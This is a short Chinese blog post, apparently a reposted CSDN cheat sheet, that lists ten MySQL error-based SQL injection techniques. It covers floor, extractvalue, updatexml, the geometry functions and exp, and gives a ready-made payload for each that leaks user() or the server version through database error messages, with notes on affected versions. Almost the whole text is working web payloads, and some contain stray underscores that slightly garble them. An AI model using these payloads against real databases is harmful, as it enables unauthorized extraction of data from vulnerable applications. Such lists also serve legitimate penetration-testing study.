0


MySQL常见十种报错注入

    floor()

    常用报错注入方法之一

    数据库语句:select * from test where id=1 and (select 1 from (select count(*_),concat(VERSION(),floor(rand(0)*2))x from information_schema.tables group by x)a);

    extractvalue()

    常用报错注入方法之一

    mysql5.1.5开始可用

    数据库语句:select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

    updatexml()

    常用报错注入方法之一

    mysql5.1.5开始可用

    数据库语句:select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

    geometrycollection()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select *_ from test where id=1 and geometrycollection((_select *_ from_(select * from(select user())a)b));

    multipoint()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select *_ from test where id=1 and multipoint((_select *_ from_(select * from(select user())a)b));

    polygon()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select * from test where id=1 and polygon((_select *_ from_(select * from(select user())a)b));

    multipolygon()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select *_ from test where id=1 and multipolygon((_select *_ from_(select * from(select user())a)b));

    linestring()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select * from test where id=1 and linestring((_select *_ from_(select * from(select user())a)b));

    multilinestring()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select * from test where id=1 and multilinestring((_select *_ from_(select * from(select user())a)b));

    exp()

    版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select * from test where id=1 and exp(~(_select *_ from_(select user())a));
标签: sql 数据库 安全

本文转载自: https://blog.csdn.net/weixin_52501704/article/details/127098274
版权归原作者 H1111B 所有, 如有侵权,请联系我们删除。

“MySQL常见十种报错注入”的评论:

还没有评论